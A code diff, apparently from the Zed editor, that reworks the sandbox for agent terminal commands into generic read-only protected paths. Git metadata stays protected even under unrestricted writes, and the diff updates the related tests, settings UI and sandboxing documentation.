     network: NetSetup,
-    /// The project's `.git` directories and whether they're writable.
-    git: GitSandboxPolicy,
     /// In-process network proxy for the restricted-network case, spawned on the
     /// first `wrap`. Dropped on a background thread (the join blocks).
     proxy: Option<ProxyHandle>,
@@ -598,14 +685,25 @@ impl Sandbox {
     /// availability is checked separately via [`Sandbox::can_create`].
     pub fn new(policy: SandboxPolicy) -> Result<Self, SandboxError> {
         let fs = match policy.fs {
-            SandboxFsPolicy::Unrestricted => FsSetup {
+            SandboxFsPolicy::Unrestricted { protected_paths } => FsSetup {
                 allow_fs_write: true,
                 writable_paths: Vec::new(),
+                protected_paths,
             },
-            SandboxFsPolicy::Restricted { writable_paths } => FsSetup {
-                allow_fs_write: false,
+            SandboxFsPolicy::Restricted {
                 writable_paths,
-            },
+                protected_paths,
+            } => {
+                validate_writable_paths_do_not_overlap_protected_paths(
+                    &writable_paths,
+                    &protected_paths,
+                )?;
+                FsSetup {
+                    allow_fs_write: false,
+                    writable_paths,
+                    protected_paths,
+                }
+            }
         };
 
         let network = match policy.network {
@@ -619,7 +717,6 @@ impl Sandbox {
         Ok(Self {
             fs,
             network,
-            git: policy.git,
             proxy: None,
             #[cfg(target_os = "linux")]
             validation_fd_sender: None,
@@ -657,7 +754,7 @@ impl Sandbox {
         {
             let permissions = linux_bubblewrap::SandboxPermissions {
                 network: linux_probe_network(&policy.network),
-                allow_fs_write: matches!(policy.fs, SandboxFsPolicy::Unrestricted),
+                allow_fs_write: matches!(policy.fs, SandboxFsPolicy::Unrestricted { .. }),
             };
             linux_bubblewrap::check_can_create_sandbox(permissions).map_err(map_linux_status)
         }
@@ -773,19 +870,11 @@ impl Sandbox {
         Ok(Some((port, proxy.socket_path().map(PathBuf::from))))
     }
 
-    /// Split the policy's `.git` directories into (writable, protected) sets for
-    /// the enforcement layers. When the whole filesystem is writable the split
-    /// is empty (Git protection is moot); otherwise `Allowed` git dirs are
-    /// writable and `Denied` git dirs are protected.
+    /// Return the protected paths for the enforcement layer. Even with broad
+    /// filesystem writes, protected paths remain readable but not writable.
     #[cfg(any(target_os = "macos", target_os = "linux", target_os = "windows"))]
-    fn git_path_split(&self) -> (Vec<HostFilesystemLocation>, Vec<HostFilesystemLocation>) {
-        if self.fs.allow_fs_write {
-            return (Vec::new(), Vec::new());
-        }
-        match &self.git {
-            GitSandboxPolicy::Allowed { git_dirs } => (git_dirs.clone(), Vec::new()),
-            GitSandboxPolicy::Denied { git_dirs } => (Vec::new(), git_dirs.clone()),
-        }
+    fn protected_paths(&self) -> Vec<HostFilesystemLocation> {
+        self.fs.protected_paths.clone()
     }
 
     #[cfg(target_os = "linux")]
@@ -806,7 +895,7 @@ impl Sandbox {
             network,
             allow_fs_write: self.fs.allow_fs_write,
         };
-        let (git_writable, git_protected) = self.git_path_split();
+        let protected_paths = self.protected_paths();
         // Build the writable binds as (captured fd, bind path) pairs in lockstep.
         // The bind *path* is derived from the pinned inode (readlink of the
         // captured `O_PATH` fd), never from an attacker-influenceable string; the
@@ -815,7 +904,7 @@ impl Sandbox {
         // its path on the validator side.
         let mut writable_owned: Vec<PathBuf> = Vec::new();
         let mut writable_fds: Vec<std::os::fd::OwnedFd> = Vec::new();
-        for location in self.fs.writable_paths.iter().chain(git_writable.iter()) {
+        for location in &self.fs.writable_paths {
             let Some(path) = linux_location_path(location) else {
                 continue;
             };
@@ -835,11 +924,11 @@ impl Sandbox {
             }
         }
         let writable: Vec<&Path> = writable_owned.iter().map(PathBuf::as_path).collect();
-        let protected_owned: Vec<PathBuf> = git_protected
+        let protected_owned: Vec<PathBuf> = protected_paths
             .iter()
             .filter_map(linux_location_path)
             .collect();
-        let protected_git_dirs: Vec<&Path> = protected_owned.iter().map(PathBuf::as_path).collect();
+        let protected_paths: Vec<&Path> = protected_owned.iter().map(PathBuf::as_path).collect();
 
         // Stand up the host endpoint that sends the captured fds to the
         // in-sandbox validator, when this run has writable binds to verify. It's
@@ -876,7 +965,7 @@ impl Sandbox {
             bridge_program,
             permissions,
             &writable,
-            &protected_git_dirs,
+            &protected_paths,
             command.cwd.as_deref(),
             &command.program,
             &command.args,
@@ -910,23 +999,18 @@ impl Sandbox {
             network,
             allow_fs_write: self.fs.allow_fs_write,
         };
-        let (git_writable, git_protected) = self.git_path_split();
+        let protected_paths = self.protected_paths();
         // Each location's canonical path was resolved exactly once at capture
         // time; pass it straight through as the Seatbelt rule literal. The
         // profile generator must NOT re-canonicalize (that reopened the
         // verify-vs-enforce gap); see `generate_seatbelt_config`.
-        let mut writable: Vec<&Path> = self
+        let writable: Vec<&Path> = self
             .fs
             .writable_paths
             .iter()
             .map(HostFilesystemLocation::macos_canonical_path)
             .collect();
-        writable.extend(
-            git_writable
-                .iter()
-                .map(HostFilesystemLocation::macos_canonical_path),
-        );
-        let protected: Vec<&Path> = git_protected
+        let protected: Vec<&Path> = protected_paths
             .iter()
             .map(HostFilesystemLocation::macos_canonical_path)
             .collect();
@@ -972,12 +1056,8 @@ impl Sandbox {
             .iter()
             .map(|location| location.windows_path().to_path_buf())
             .collect();
-        let (writable_git_locations, protected_git_locations) = self.git_path_split();
-        let writable_git_paths: Vec<PathBuf> = writable_git_locations
-            .iter()
-            .map(|location| location.windows_path().to_path_buf())
-            .collect();
-        let protected_git_paths: Vec<PathBuf> = protected_git_locations
+        let protected_paths: Vec<PathBuf> = self
+            .protected_paths()
             .iter()
             .map(|location| location.windows_path().to_path_buf())
             .collect();
@@ -985,8 +1065,7 @@ impl Sandbox {
             command.program.clone(),
             command.args.clone(),
             writable_paths,
-            writable_git_paths,
-            protected_git_paths,
+            protected_paths,
             permissions,
             command.cwd.clone(),
             command.env.clone(),
@@ -1231,6 +1310,61 @@ fn map_anyhow_error(error: anyhow::Error) -> SandboxError {
 mod tests {
     use super::*;
 
+    #[test]
+    fn restricted_fs_rejects_writable_paths_inside_protected_paths() {
+        let temp_dir = tempfile::tempdir().expect("create temp dir");
+        let repo_dir = temp_dir.path().join("repo");
+        let git_dir = repo_dir.join(".git");
+        let hooks_dir = git_dir.join("hooks");
+        std::fs::create_dir_all(&hooks_dir).expect("create git hooks dir");
+
+        let protected_git = HostFilesystemLocation::new(&git_dir).expect("capture git dir");
+        let writable_git = HostFilesystemLocation::new(&git_dir).expect("capture git dir");
+        let writable_hooks = HostFilesystemLocation::new(&hooks_dir).expect("capture hooks dir");
+
+        for writable_path in [writable_git, writable_hooks] {
+            let result = Sandbox::new(SandboxPolicy {
+                fs: SandboxFsPolicy::Restricted {
+                    writable_paths: vec![writable_path],
+                    protected_paths: vec![protected_git.clone()],
+                },
+                network: SandboxNetPolicy::Blocked,
+            });
+
+            assert!(matches!(result, Err(SandboxError::InvalidRequest(_))));
+        }
+    }
+
+    #[cfg(target_os = "linux")]
+    #[test]
+    fn restricted_fs_protected_overlap_check_uses_captured_fds_not_path_text() {
+        use std::os::unix::fs as unix_fs;
+
+        let temp_dir = tempfile::tempdir().expect("create temp dir");
+        let repo_dir = temp_dir.path().join("repo");
+        let git_dir = repo_dir.join(".git");
+        let real_git_dir = repo_dir.join("real-git");
+        let outside_dir = temp_dir.path().join("outside");
+        let outside_hooks_dir = outside_dir.join("hooks");
+        std::fs::create_dir_all(&git_dir).expect("create git dir");
+        std::fs::create_dir_all(&outside_hooks_dir).expect("create outside hooks dir");
+
+        let protected_git = HostFilesystemLocation::new(&git_dir).expect("capture git dir");
+        std::fs::rename(&git_dir, &real_git_dir).expect("move git dir aside");
+        unix_fs::symlink(&outside_dir, &git_dir).expect("replace git dir with symlink");
+        let writable_displayed_inside_git =
+            HostFilesystemLocation::new(git_dir.join("hooks")).expect("capture symlink target");
+
+        Sandbox::new(SandboxPolicy {
+            fs: SandboxFsPolicy::Restricted {
+                writable_paths: vec![writable_displayed_inside_git],
+                protected_paths: vec![protected_git],
+            },
+            network: SandboxNetPolicy::Blocked,
+        })
+        .expect("captured writable fd is outside protected metadata");
+    }
+
     #[test]
     fn fs_merge_unrestricted_dominates_else_unions_paths() {
         // Writable paths are captured as real `HostFilesystemLocation`s (keyed on
@@ -1238,31 +1372,45 @@ mod tests {
         let dir_a = tempfile::tempdir().expect("create temp dir a");
         let dir_b = tempfile::tempdir().expect("create temp dir b");
         let dir_c = tempfile::tempdir().expect("create temp dir c");
+        let dir_d = tempfile::tempdir().expect("create temp dir d");
         let location = |dir: &tempfile::TempDir| {
             HostFilesystemLocation::new(dir.path()).expect("capture temp dir")
         };
 
         let a = SandboxFsPolicy::Restricted {
             writable_paths: vec![location(&dir_a), location(&dir_b)],
+            protected_paths: vec![location(&dir_c)],
         };
         let b = SandboxFsPolicy::Restricted {
             writable_paths: vec![location(&dir_b), location(&dir_c)],
+            protected_paths: vec![location(&dir_c), location(&dir_d)],
         };
         assert_eq!(
             a.clone().merge(b),
             SandboxFsPolicy::Restricted {
                 writable_paths: vec![location(&dir_a), location(&dir_b), location(&dir_c)],
+                protected_paths: vec![location(&dir_c), location(&dir_d)],
             }
         );
         assert_eq!(
-            a.merge(SandboxFsPolicy::Unrestricted),
-            SandboxFsPolicy::Unrestricted
+            a.merge(SandboxFsPolicy::Unrestricted {
+                protected_paths: vec![location(&dir_a)],
+            }),
+            SandboxFsPolicy::Unrestricted {
+                protected_paths: vec![location(&dir_c), location(&dir_a)],
+            }
         );
         assert_eq!(
-            SandboxFsPolicy::Unrestricted.merge(SandboxFsPolicy::Restricted {
+            SandboxFsPolicy::Unrestricted {
+                protected_paths: vec![location(&dir_d)],
+            }
+            .merge(SandboxFsPolicy::Restricted {
                 writable_paths: vec![location(&dir_a)],
+                protected_paths: vec![location(&dir_c)],
             }),
-            SandboxFsPolicy::Unrestricted
+            SandboxFsPolicy::Unrestricted {
+                protected_paths: vec![location(&dir_d), location(&dir_c)],
+            }
         );
     }
 
@@ -1343,8 +1491,8 @@ mod tests {
 /// doesn't exist yet.
 ///
 /// `std::fs::canonicalize` fails if any component is missing, which would leave
-/// a not-yet-created path (e.g. a `.git` directory before `git init`) in a
-/// non-canonical form. The sandbox layers canonicalize the writable parent
+/// a not-yet-created path in a non-canonical form. The sandbox layers
+/// canonicalize the writable parent
 /// (the worktree root) but, with a plain `canonicalize`, fall back to the raw
 /// path for a missing child; the two then disagree when a component is a
 /// symlink (`/tmp` -> `/private/tmp` on macOS), and the protection rule for the
@@ -1353,9 +1501,9 @@ mod tests {
 /// consistent with its parent. If neither the path nor its parent can be
 /// canonicalized, the path is returned unchanged.
 //
-// Only the macOS Seatbelt layer uses this (Linux skips not-yet-existing `.git`
-// dirs rather than emitting a rule for them), so it's gated to macOS to avoid a
-// dead-code warning elsewhere.
+// Only the macOS Seatbelt layer uses this (Linux skips not-yet-existing
+// protected paths rather than emitting a rule for them), so it's gated to macOS
+// to avoid a dead-code warning elsewhere.
 #[cfg(target_os = "macos")]
 pub(crate) fn canonicalize_allowing_missing_leaf(path: &std::path::Path) -> std::path::PathBuf {
     if let Ok(canonical) = path.canonicalize() {
@@ -1386,7 +1534,7 @@ mod macos_tests {
 
         // A path whose leaf doesn't exist yet still resolves through its parent,
         // so it stays consistent with how the parent directory canonicalizes
-        // (this is the `.git`-before-`git init` case).
+        // (for example, when protecting a not-yet-created child path).
         let missing = dir.path().join("not-created-yet");
         assert_eq!(
             canonicalize_allowing_missing_leaf(&missing),
diff --git a/crates/sandbox/src/windows_wsl.rs b/crates/sandbox/src/windows_wsl.rs
index 212df7d47c28fd..2979a98852b1b7 100644
--- a/crates/sandbox/src/windows_wsl.rs
+++ b/crates/sandbox/src/windows_wsl.rs
@@ -236,9 +236,9 @@ impl PathMapping {
 /// into a Linux shell invocation (typically `/bin/sh -c ...`) before calling
 /// this function.
 ///
-/// All writable paths, Git paths, and the cwd must be paths that can be mapped
-/// into WSL. The cwd and ordinary writable paths must exist; Git metadata paths
-/// may be missing because Bubblewrap cannot bind a missing source. WSL UNC paths
+/// All writable paths, protected paths, and the cwd must be paths that can be
+/// mapped into WSL. The cwd and writable paths must exist; protected paths may
+/// be missing because Bubblewrap cannot bind a missing source. WSL UNC paths
 /// may specify a distro; native drive-letter paths are translated with `wslpath`
 /// inside either that distro or the default distro (falling back to
 /// `/mnt/<drive>/...` if translation fails).
@@ -267,8 +267,7 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     program: String,
     args: Vec<String>,
     writable_paths: Vec<PathBuf>,
-    writable_git_paths: Vec<PathBuf>,
-    protected_git_paths: Vec<PathBuf>,
+    protected_paths: Vec<PathBuf>,
     permissions: SandboxPermissions,
     cwd: Option<PathBuf>,
     env: HashMap<String, String, S>,
@@ -299,35 +298,18 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
             })
         })
         .collect::<Result<Vec<_>>>()?;
-    let writable_git_mappings = writable_git_paths
+    let protected_mappings = protected_paths
         .iter()
         .map(|path| {
             path_to_wsl_allowing_missing(path).with_context(|| {
-                format!(
-                    "failed to map writable Git metadata path `{}` into WSL",
-                    path.display()
-                )
-            })
-        })
-        .collect::<Result<Vec<_>>>()?;
-    let protected_git_mappings = protected_git_paths
-        .iter()
-        .map(|path| {
-            path_to_wsl_allowing_missing(path).with_context(|| {
-                format!(
-                    "failed to map protected Git metadata path `{}` into WSL",
-                    path.display()
-                )
+                format!("failed to map protected path `{}` into WSL", path.display())
             })
         })
         .collect::<Result<Vec<_>>>()?;
 
     let distro = select_distro(
         cwd_mapping.as_ref(),
-        writable_mappings
-            .iter()
-            .chain(writable_git_mappings.iter())
-            .chain(protected_git_mappings.iter()),
+        writable_mappings.iter().chain(protected_mappings.iter()),
     )?;
     let wsl_exe = wsl_exe_path();
     if !wsl_exe.is_file() {
@@ -340,14 +322,11 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
 
     // Resolve all paths (translating native drive-letter paths with `wslpath`
     // now that the distro is known) in a single WSL round-trip. The cwd and
-    // ordinary writable paths must exist; Git paths may be missing because, as
-    // with Linux bwrap, a not-yet-created `.git` placeholder can't be overlaid.
+    // ordinary writable paths must exist; protected paths may be missing because,
+    // as with Linux bwrap, a not-yet-created path can't be overlaid.
     let has_cwd = cwd_mapping.is_some();
     let writable_path_count = writable_mappings.len();
-    let writable_git_path_count = writable_git_mappings.len();
-    let mut mappings = Vec::with_capacity(
-        writable_mappings.len() + writable_git_mappings.len() + protected_git_mappings.len() + 1,
-    );
+    let mut mappings = Vec::with_capacity(writable_mappings.len() + protected_mappings.len() + 1);
     if let Some(mapping) = cwd_mapping {
         mappings.push((mapping, "terminal cwd", true));
     }
@@ -357,22 +336,13 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
             .map(|mapping| (mapping, "writable path", true)),
     );
     mappings.extend(
-        writable_git_mappings
-            .into_iter()
-            .map(|mapping| (mapping, "writable Git metadata path", false)),
-    );
-    mappings.extend(
-        protected_git_mappings
+        protected_mappings
             .into_iter()
-            .map(|mapping| (mapping, "protected Git metadata path", false)),
+            .map(|mapping| (mapping, "protected path", false)),
     );
     let resolved = resolve_paths(&wsl_exe, distro.as_deref(), &mappings).await?;
-    let (cwd, writable_paths, protected_git_paths) = split_resolved_paths(
-        has_cwd,
-        writable_path_count,
-        writable_git_path_count,
-        resolved,
-    )?;
+    let (cwd, writable_paths, protected_paths) =
+        split_resolved_paths(has_cwd, writable_path_count, resolved)?;
 
     let mut wsl_args = Vec::new();
     if let Some(distro) = distro.as_deref() {
@@ -387,7 +357,7 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     // namespace flags. Identical whether or not we route through the helper.
     let bwrap_options = build_bwrap_args(
         &writable_paths,
-        &protected_git_paths,
+        &protected_paths,
         permissions,
         cwd.as_deref(),
         environment.mask_interop_dir,
@@ -432,7 +402,6 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
 fn split_resolved_paths(
     has_cwd: bool,
     writable_path_count: usize,
-    writable_git_path_count: usize,
     resolved: Vec<Option<String>>,
 ) -> Result<(Option<String>, Vec<String>, Vec<String>)> {
     let mut resolved = resolved.into_iter();
@@ -447,7 +416,7 @@ fn split_resolved_paths(
         None
     };
 
-    let mut writable_paths = Vec::with_capacity(writable_path_count + writable_git_path_count);
+    let mut writable_paths = Vec::with_capacity(writable_path_count);
     for _ in 0..writable_path_count {
         writable_paths.push(
             resolved
@@ -456,14 +425,6 @@ fn split_resolved_paths(
                 .context("bug: required writable path resolved as missing")?,
         );
     }
-    for _ in 0..writable_git_path_count {
-        if let Some(path) = resolved
-            .next()
-            .context("bug: missing resolved writable Git metadata path")?
-        {
-            writable_paths.push(path);
-        }
-    }
 
     Ok((cwd, writable_paths, resolved.flatten().collect()))
 }
@@ -1029,7 +990,7 @@ fn wsl_exe_path() -> PathBuf {
 
 fn build_bwrap_args<S: std::hash::BuildHasher>(
     writable_paths: &[String],
-    protected_git_paths: &[String],
+    protected_paths: &[String],
     permissions: SandboxPermissions,
     cwd: Option<&str>,
     mask_interop_dir: bool,
@@ -1045,12 +1006,12 @@ fn build_bwrap_args<S: std::hash::BuildHasher>(
         for path in writable_paths {
             push_bind(&mut args, "--bind", path, path);
         }
-        // Protect Git metadata by re-binding it read-only over the writable
-        // worktree binds above (order matters: later binds win). When Git access
-        // is granted these paths are included in `writable_paths` instead.
-        for path in protected_git_paths {
-            push_bind(&mut args, "--ro-bind", path, path);
-        }
+    }
+
+    // Protect requested paths by re-binding them read-only over any writable
+    // binds above (order matters: later binds win).
+    for path in protected_paths {
+        push_bind(&mut args, "--ro-bind", path, path);
     }
 
     // Block WSL's Windows interop, regardless of the requested permissions.
@@ -1320,7 +1281,6 @@ mod tests {
             Vec::new(),
             Vec::new(),
             Vec::new(),
-            Vec::new(),
             SandboxPermissions::default(),
             None,
             HashMap::<String, String>::new(),
@@ -1462,39 +1422,27 @@ mod tests {
     }
 
     #[test]
-    fn split_resolved_paths_keeps_existing_writable_git_paths_and_skips_missing_ones() {
-        let (cwd, writable_paths, protected_git_paths) = split_resolved_paths(
+    fn split_resolved_paths_keeps_existing_protected_paths_and_skips_missing_ones() {
+        let (cwd, writable_paths, protected_paths) = split_resolved_paths(
             true,
             1,
-            2,
             vec![
                 Some("/home/me/project".to_string()),
                 Some("/home/me/project".to_string()),
                 None,
-                Some("/home/me/project/.git".to_string()),
-                None,
                 Some("/mnt/c/external/.git".to_string()),
             ],
         )
         .unwrap();
 
         assert_eq!(cwd.as_deref(), Some("/home/me/project"));
-        assert_eq!(
-            writable_paths,
-            vec![
-                "/home/me/project".to_string(),
-                "/home/me/project/.git".to_string()
-            ]
-        );
-        assert_eq!(
-            protected_git_paths,
-            vec!["/mnt/c/external/.git".to_string()]
-        );
+        assert_eq!(writable_paths, vec!["/home/me/project".to_string()]);
+        assert_eq!(protected_paths, vec!["/mnt/c/external/.git".to_string()]);
     }
 
     #[test]
     fn split_resolved_paths_rejects_missing_required_writable_paths() {
-        let error = split_resolved_paths(false, 1, 0, vec![None]).unwrap_err();
+        let error = split_resolved_paths(false, 1, vec![None]).unwrap_err();
         assert!(
             error
                 .to_string()
@@ -1555,7 +1503,7 @@ mod tests {
     }
 
     #[test]
-    fn bwrap_protects_git_paths_after_writable_paths() {
+    fn bwrap_protects_paths_after_writable_paths() {
         let args = build_bwrap_args(
             &["/home/me/project".to_string()],
             &["/home/me/project/.git".to_string()],
@@ -1578,12 +1526,12 @@ mod tests {
                         "/home/me/project/.git",
                     ]
             })
-            .expect("Git metadata should be protected read-only");
+            .expect("protected path should be bound read-only");
         assert!(protected_index > writable_index);
     }
 
     #[test]
-    fn bwrap_skips_git_protection_when_fs_writes_are_unrestricted() {
+    fn bwrap_protects_paths_when_fs_writes_are_unrestricted() {
         let args = build_bwrap_args(
             &[],
             &["/home/me/project/.git".to_string()],
@@ -1595,12 +1543,22 @@ mod tests {
             true,
             &HashMap::new(),
         );
-        assert!(!args.windows(3).any(|window| window
-            == [
-                "--ro-bind",
-                "/home/me/project/.git",
-                "/home/me/project/.git"
-            ]));
+        let unrestricted_write_index = args
+            .windows(3)
+            .position(|window| window == ["--bind", "/", "/"])
+            .expect("root should be writable");
+        let protected_index = args
+            .windows(3)
+            .position(|window| {
+                window
+                    == [
+                        "--ro-bind",
+                        "/home/me/project/.git",
+                        "/home/me/project/.git",
+                    ]
+            })
+            .expect("protected path should be bound read-only");
+        assert!(protected_index > unrestricted_write_index);
     }
 
     #[test]
diff --git a/crates/sandbox/src/wsl_sandbox_test_helper.rs b/crates/sandbox/src/wsl_sandbox_test_helper.rs
index d184d09ef42f5f..6f46e87f45100c 100644
--- a/crates/sandbox/src/wsl_sandbox_test_helper.rs
+++ b/crates/sandbox/src/wsl_sandbox_test_helper.rs
@@ -48,8 +48,8 @@ mod imp {
 
     use anyhow::{Context as _, Result, bail, ensure};
     use sandbox::{
-        CommandAndArgs, GitSandboxPolicy, HostFilesystemLocation, Sandbox, SandboxError,
-        SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
+        CommandAndArgs, HostFilesystemLocation, Sandbox, SandboxError, SandboxFsPolicy,
+        SandboxNetPolicy, SandboxPolicy,
     };
 
     /// Network access for a helper run, translated into a `SandboxNetPolicy` in
@@ -510,7 +510,9 @@ mod imp {
     ) -> Result<Outcome> {
         let policy = SandboxPolicy {
             fs: if permissions.allow_fs_write {
-                SandboxFsPolicy::Unrestricted
+                SandboxFsPolicy::Unrestricted {
+                    protected_paths: Vec::new(),
+                }
             } else {
                 SandboxFsPolicy::Restricted {
                     // On Windows the location only records the requested path;
@@ -519,13 +521,13 @@ mod imp {
                         .iter()
                         .filter_map(|path| HostFilesystemLocation::new(path).ok())
                         .collect(),
+                    protected_paths: Vec::new(),
                 }
             },
             network: match permissions.network {
                 NetworkAccess::None => SandboxNetPolicy::Blocked,
                 NetworkAccess::All => SandboxNetPolicy::Unrestricted,
             },
-            git: GitSandboxPolicy::default(),
         };
         let command = CommandAndArgs {
             program: program.to_string(),
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index 55bb90dd5c70cb..0d27b3f9a84a96 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -486,12 +486,6 @@ impl AgentSettingsContent {
             .allow_fs_write_all = Some(true);
     }
 
-    pub fn allow_sandbox_git_access(&mut self) {
-        self.sandbox_permissions
-            .get_or_insert_default()
-            .allow_git_access = Some(true);
-    }
-
     pub fn allow_sandbox_unsandboxed(&mut self) {
         self.sandbox_permissions
             .get_or_insert_default()
@@ -800,11 +794,6 @@ pub struct SandboxPermissionsContent {
     /// Default: []
     pub network_hosts: Option<ExtendingVec<String>>,
 
-    /// Whether sandboxed terminal commands may always access protected Git
-    /// metadata paths without prompting.
-    /// Default: false
-    pub allow_git_access: Option<bool>,
-
     /// Whether sandboxed terminal commands may always write anywhere on the
     /// filesystem without prompting.
     /// Default: false
@@ -1145,7 +1134,6 @@ mod tests {
             &["github.com".to_string(), "*.npmjs.org".to_string()]
         );
         settings.allow_sandbox_fs_write_all();
-        settings.allow_sandbox_git_access();
         settings.allow_sandbox_unsandboxed();
         settings.add_sandbox_write_path(PathBuf::from("/tmp/build"));
 
@@ -1160,7 +1148,6 @@ mod tests {
                 .as_slice(),
             &["github.com".to_string(), "*.npmjs.org".to_string()]
         );
-        assert_eq!(sandbox_permissions.allow_git_access, Some(true));
         assert_eq!(sandbox_permissions.allow_fs_write_all, Some(true));
         assert_eq!(sandbox_permissions.allow_unsandboxed, Some(true));
         assert_eq!(
diff --git a/crates/settings_ui/src/pages/sandbox_settings.rs b/crates/settings_ui/src/pages/sandbox_settings.rs
index 9ae15eb738e95a..da69fdd5761d16 100644
--- a/crates/settings_ui/src/pages/sandbox_settings.rs
+++ b/crates/settings_ui/src/pages/sandbox_settings.rs
@@ -12,8 +12,7 @@ use crate::components::{SettingsInputField, SettingsSectionHeader};
 
 const DOMAINS_DESCRIPTION: &str = "Each entry is an exact domain (github.com) or a leading-*. subdomain wildcard (*.npmjs.org). IP addresses and local domains are not allowed.";
 
-const WRITE_PATHS_DESCRIPTION: &str =
-    "Each entry must be an absolute path and grants write access to the whole subtree.";
+const WRITE_PATHS_DESCRIPTION: &str = "Each entry must be an absolute path and grants write access to the whole subtree, except protected Git metadata.";
 
 pub(crate) fn render_sandbox_settings_page(
     settings_window: &SettingsWindow,
@@ -117,27 +116,7 @@ pub(crate) fn render_sandbox_settings_page(
                     empty_border,
                 )),
         )
-        .child(Divider::horizontal())
-        .child(
-            v_flex()
-                .gap_4()
-                .child(SettingsSectionHeader::new("Git").no_padding(true))
-                .child(
-                    SwitchField::new(
-                        "sandbox-allow-git-access",
-                        Some("Allow Git Metadata Access"),
-                        Some(
-                            "Let sandboxed commands access protected Git metadata, including .git directories and linked worktree metadata, without prompting."
-                                .into(),
-                        ),
-                        permissions.allow_git_access,
-                        move |state, _window, cx| {
-                            set_allow_git_access(*state == ToggleState::Selected, cx);
-                        },
-                    )
-                    .tab_index(0),
-                ),
-        )
+
         .child(Divider::horizontal())
         .child(
             v_flex()
@@ -148,7 +127,7 @@ pub(crate) fn render_sandbox_settings_page(
                         "sandbox-allow-fs-write-all",
                         Some("Allow All File System Writes"),
                         Some(
-                            "Let sandboxed commands write anywhere on the file system without prompting."
+                            "Let sandboxed commands write anywhere except protected Git metadata without prompting."
                                 .into(),
                         ),
                         permissions.allow_fs_write_all,
@@ -433,12 +412,6 @@ fn set_allow_all_hosts(value: bool, cx: &mut App) {
     });
 }
 
-fn set_allow_git_access(value: bool, cx: &mut App) {
-    update_sandbox_permissions(cx, move |permissions| {
-        permissions.allow_git_access = Some(value);
-    });
-}
-
 fn set_allow_fs_write_all(value: bool, cx: &mut App) {
     update_sandbox_permissions(cx, move |permissions| {
         permissions.allow_fs_write_all = Some(value);
diff --git a/docs/.doc-examples/reference.md b/docs/.doc-examples/reference.md
index 35fda196f862ea..386bd3fc54752e 100644
--- a/docs/.doc-examples/reference.md
+++ b/docs/.doc-examples/reference.md
@@ -40,6 +40,8 @@ When no path is provided, shows a summary of error and warning counts for all fi
 
 Fetches a URL and returns the content as Markdown. Useful for providing docs as context.
 
+`fetch` is governed by tool permissions, agent profiles, and project trust. It is not run inside the terminal OS sandbox, so terminal sandbox network grants such as `allow_hosts` and `allow_all_hosts` do not apply to it.
+
 ### `find_path` {#find-path}
 
 Quickly finds files by matching glob patterns (like `**/*.js`), returning matching file paths alphabetically.
diff --git a/docs/src/ai/sandboxing.md b/docs/src/ai/sandboxing.md
index 2b77863594b178..715e331da7fade 100644
--- a/docs/src/ai/sandboxing.md
+++ b/docs/src/ai/sandboxing.md
@@ -9,10 +9,9 @@ You can restrict what operations the [Zed Agent](./zed-agent.md) can run in mult
 [Tool Permissions](./tool-permissions.md), but these are of limited use when the agent wants to do things like run a
 complicated script in a terminal.
 
-Sandboxing runs certain tool actions in an OS-level sandbox which limits filesystem access, network access, and access to
-protected Git metadata. This way, even if the agent wants to run an arbitrary script, that script will only be able to
-write to the files and folders you have allowed it to. You can similarly restrict network and Git metadata access in
-sandboxed tool actions.
+Sandboxing runs certain tool actions in an OS-level sandbox which limits filesystem access and network access, while
+protecting Git metadata such as `.git` directories. This way, even if the agent wants to run an arbitrary script, that
+script will only be able to write to the files and folders you have allowed it to.
 
 [Tool Permissions](./tool-permissions.md) can be used in addition to sandboxing:
 
@@ -26,9 +25,9 @@ terminal tabs, [External Agents](./external-agents.md), or [Terminal Threads](./
 
 Zed Agent sandboxing currently applies to the `terminal` tool.
 
-| Tool       | What sandboxing limits                                                                              |
-| ---------- | --------------------------------------------------------------------------------------------------- |
-| `terminal` | Filesystem writes, protected Git metadata, and outbound network access for commands the agent runs. |
+| Tool       | What sandboxing limits                                                                                |
+| ---------- | ----------------------------------------------------------------------------------------------------- |
+| `terminal` | Filesystem writes and outbound network access for commands the agent runs; Git metadata is protected. |
 
 Other built-in tools, including `fetch`, are still governed by [Tool Permissions](./tool-permissions.md),
 [Agent Profiles](./agent-profiles.md), and project trust, but they are not currently run inside this OS sandbox.
@@ -39,9 +38,9 @@ By default, sandboxed Zed Agent tool actions have these restrictions:
 
 | Access type         | Default behavior                                                                                                                                                    |
 | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Filesystem reads    | Terminal commands can read most of the filesystem. Protected Git metadata file contents are hidden on macOS; on Linux and Windows/WSL they remain readable.         |
+| Filesystem reads    | Terminal commands can read most of the filesystem, including protected Git metadata.                                                                                |
 | Project writes      | Terminal commands can write inside open project directories, except for protected Git metadata.                                                                     |
-| Git metadata        | `.git` directories and linked worktree Git metadata are protected unless you approve Git metadata access. Protection details differ by platform, described below.   |
+| Git metadata        | `.git` directories and linked worktree Git metadata remain readable but are not writable while sandboxed.                                                           |
 | Temporary files     | Terminal commands receive a writable temporary location. The exact behavior differs by platform.                                                                    |
 | Other writes        | Writes outside the default writable locations are blocked unless you approve a broader sandbox request.                                                             |
 | Outbound networking | Network access is blocked unless you approve a host-specific or unrestricted network sandbox request. Host-specific enforcement is not available on every platform. |
@@ -53,9 +52,8 @@ Depending on what the tool requested, the prompt can ask you to allow:
 
 - network access to specific hosts, such as `github.com` or `*.npmjs.org`
 - network access to any host
-- access to protected Git metadata, such as `.git` directories and linked worktree metadata
 - write access to specific filesystem paths
-- unrestricted filesystem writes
+- unrestricted filesystem writes, except protected Git metadata
 - running a terminal command without the sandbox
 
 You can grant a sandbox request for:
@@ -76,7 +74,6 @@ If you want to pre-approve common sandbox requests, add persistent permissions t
   "agent": {
     "sandbox_permissions": {
       "network_hosts": ["github.com", "*.npmjs.org"],
-      "allow_git_access": true,
       "write_paths": ["/Users/you/.cache/my-tool"]
     }
   }
@@ -89,13 +86,22 @@ The available options are:
 | -------------------- | ----------------------------------------------------------------------------------------------------------------- |
